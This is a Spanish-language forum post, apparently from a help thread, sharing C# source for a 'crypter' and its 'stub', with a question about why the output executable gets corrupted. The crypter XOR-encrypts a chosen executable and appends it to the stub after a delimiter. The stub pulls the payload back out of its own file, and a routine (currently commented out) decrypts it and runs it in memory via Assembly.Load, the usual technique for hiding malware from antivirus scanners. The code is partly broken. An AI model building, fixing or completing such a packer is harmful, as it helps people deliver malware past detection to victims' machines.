Cita de: TickTack en 9 Mayo 2017, 14:35 PMHola no me fije que posteastes en el post.
Hola Ragaza,
me puedes pasar el proyecto completo por favor?
Gracias y saludos!
El código del stub es:
Código [Seleccionar]
using System;
using System.Collections.Generic;
using System.Data;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Runtime.InteropServices;
using System.Resources;
using System.Security.Cryptography;
using System.Reflection;
using Microsoft.Win32;
namespace skip
{
static class Program
{
/// <summary>
/// MAIN
/// </summary>
[STAThread]
static void Main()
{
string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
//Application.Run(new Form1());
//leemos el byte array
byte[] file = File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location);
//obtenemos la string
string str = System.Text.Encoding.ASCII.GetString(file);
string[] arr=str.Split(new string[] { "BLAUMOLAMUCHO" }, StringSplitOptions.None);
string a = arr[0];
string b = arr[1];
/*Console.WriteLine(a);
Console.WriteLine("------------------------------");
Console.WriteLine(b);
Console.ReadKey();*/
byte[] encodedBytes = Encoding.ASCII.GetBytes(a);
Stream stream = new MemoryStream(encodedBytes);
FileStream fileStream = new FileStream(@"tola.exe", FileMode.Create, FileAccess.Write);
for (int i = 0; i < stream.Length; i++)
fileStream.WriteByte((byte)stream.ReadByte());
//RunInternal(encodedBytes,"1234");
}
private static void RunInternal(byte[] exeName, String pass)
{
//Read the raw bytes of the file
byte[] resourcesBuffer = exeName;
//Decrypt bytes from payload
byte[] decryptedBuffer = null;
decryptedBuffer = decryptBytes(resourcesBuffer, pass);
//If .NET executable -> Run
if (System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>")) //Esto devuelve false
{
//Load the bytes as an assembly
Assembly exeAssembly = Assembly.Load(decryptedBuffer);
//Execute the assembly
object[] parameters = new object[1]; //Don't know why but fixes TargetParameterCountException
try{
exeAssembly.EntryPoint.Invoke(null, parameters);
}catch (Exception ex){
Console.WriteLine(ex);
Console.ReadKey();
}
}
else
{
Console.WriteLine(Encoding.ASCII.GetString(decryptedBuffer));
Console.ReadKey();
}
}
/// <summary>
/// Decrypt the Loaded Assembly Bytes
/// </summary>
/// <param name="payload"></param>
/// <returns>Decrypted Bytes</returns>
private static byte[] decryptBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}
return bytes;
}
}
}
Y el crypter es:
Código [Seleccionar]
using System;
using System.Text;
using System.IO;
using System.Collections.Generic;
namespace Crypter
{
class Program
{
[STAThread]
static void Main(string[] args)
{
//No Arguments -> Exit
if (args.Length < 2)
{
Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
Environment.Exit(0);
}
String file = args[0];
String pass = args[1];
String outFile = "Crypted.exe";
//If Output Name is specified -> Set it
if (args.Length == 3)
{
outFile = args[2];
}
//File doesn't exist -> Exit
if (!File.Exists(file))
{
Console.WriteLine("[!] The selected File doesn't exist!");
Environment.Exit(0);
}
//Everything seems fine -> Reading bytes
Console.WriteLine("[*] Reading Data...");
byte[] plainBytes = File.ReadAllBytes(file);
//Yep, got bytes -> Encoding
Console.WriteLine("[*] Encoding Data...");
byte[] encodedBytes = encodeBytes(plainBytes, pass);
Console.WriteLine("[*] Save to Output File... ");
//Leer el stub
Console.WriteLine("[*] Reading Stub...");
byte[] Stub = File.ReadAllBytes("Stub.exe");
//byte separador
string strseperate = "BLAUMOLAMUCHO";
byte[] toBytes = Encoding.ASCII.GetBytes(strseperate);
//byte[] toBytes = new byte[30];
//write bytes
//var stream
//Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("skip.skip.exe");
//Console.WriteLine(stream);
var s = new MemoryStream();
s.Write(Stub, 0, Stub.Length);
s.Write(toBytes, 0, toBytes.Length);
s.Write(encodedBytes, 0, encodedBytes.Length);
var b3 = s.ToArray();
Stream stream = new MemoryStream(b3);
//Stream stream = new MemoryStream(encodedBytes);
FileStream fileStream = new FileStream(@"out.exe", FileMode.Create, FileAccess.Write);
for (int i = 0; i < stream.Length; i++)
fileStream.WriteByte((byte)stream.ReadByte());
Console.WriteLine("Done!");
Console.WriteLine("\n[*] File successfully encoded!");
}
private static byte[] encodeBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}
return bytes;
}
}
}
El problema es que estaba haciendo con un delimitador pero si conviertes un byte array a cadena en mi caso lo muestra y lo escribes un .exe puede corromperse.